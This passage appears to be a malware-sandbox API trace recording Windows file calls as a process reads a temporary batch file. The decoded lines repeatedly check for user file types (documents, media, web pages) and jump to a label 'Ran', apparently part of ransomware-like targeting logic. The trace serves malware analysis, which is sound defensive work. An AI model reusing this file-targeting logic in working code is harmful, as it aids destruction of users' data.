(_FileHandle=3) returned 0x74 [0037.103] GetFileType (hFile=0x74) returned 0x1 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.txt goto Ran\r\n") returned 2 [0037.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.103] GetFileType (hFile=0x74) returned 0x1 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto Ran\r\n") returned 29 [0037.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] GetFileType (hFile=0x74) returned 0x1 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.104] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto Ran\r\n") returned 29 [0037.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] GetFileType (hFile=0x74) returned 0x1 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.104] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.104] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.vbs goto Ran\r\n") returned 2 [0037.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.104] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.104] GetFileType (hFile=0x74) returned 0x1 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.105] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=783, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.105] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto Ran\r\nal\\Temp\\CAS5AY8X.bat\"") returned 30 [0037.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.105] GetFileType (hFile=0x74) returned 0x1 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.105] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.105] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.docx goto Ran\r\n") returned 2 [0037.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.105] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.105] GetFileType (hFile=0x74) returned 0x1 [0037.105] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.105] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto Ran\r\n\n") returned 29 [0037.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.106] GetFileType (hFile=0x74) returned 0x1 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.106] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.doc goto Ran\r\n") returned 2 [0037.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.106] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.106] GetFileType (hFile=0x74) returned 0x1 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.106] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.106] SetFilePointer (in: hFile=0x74, lDistanceToMove=845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.106] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto Ran\r\n") returned 29 [0037.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.107] GetFileType (hFile=0x74) returned 0x1 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.107] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp4 goto Ran\r\n") returned 2 [0037.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.107] GetFileType (hFile=0x74) returned 0x1 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.107] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.107] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto Ran\r\n") returned 29 [0037.107] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.107] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.108] GetFileType (hFile=0x74) returned 0x1 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.108] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp3 goto Ran\r\n") returned 2 [0037.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.108] GetFileType (hFile=0x74) returned 0x1 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.108] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto Ran\r\n") returned 29 [0037.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.108] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.108] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.108] GetFileType (hFile=0x74) returned 0x1 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.wav goto Ran\r\n") returned 2 [0037.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.109] GetFileType (hFile=0x74) returned 0x1 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto Ran\r\n") returned 29 [0037.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.109] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.109] GetFileType (hFile=0x74) returned 0x1 [0037.109] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.109] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.jpg goto Ran\r\n") returned 2 [0037.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.110] GetFileType (hFile=0x74) returned 0x1 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto Ran\r\n") returned 29 [0037.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.110] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.110] GetFileType (hFile=0x74) returned 0x1 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.110] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.110] SetFilePointer (in: hFile=0x74, lDistanceToMove=971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.png goto Ran\r\n") returned 2 [0037.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.111] GetFileType (hFile=0x74) returned 0x1 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.111] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto Ran\r\n") returned 29 [0037.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.111] GetFileType (hFile=0x74) returned 0x1 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.111] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.htm goto Ran\r\n") returned 2 [0037.111] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.111] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.112] GetFileType (hFile=0x74) returned 0x1 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.112] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto Ran\r\n") returned 30 [0037.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.112] GetFileType (hFile=0x74) returned 0x1 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.112] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=1034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.html goto Ran\r\n") returned 2 [0037.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.112] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.112] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.112] GetFileType (hFile=0x74) returned 0x1 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.113] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0037.113] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto Ran\r\n") returned 6 [0037.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 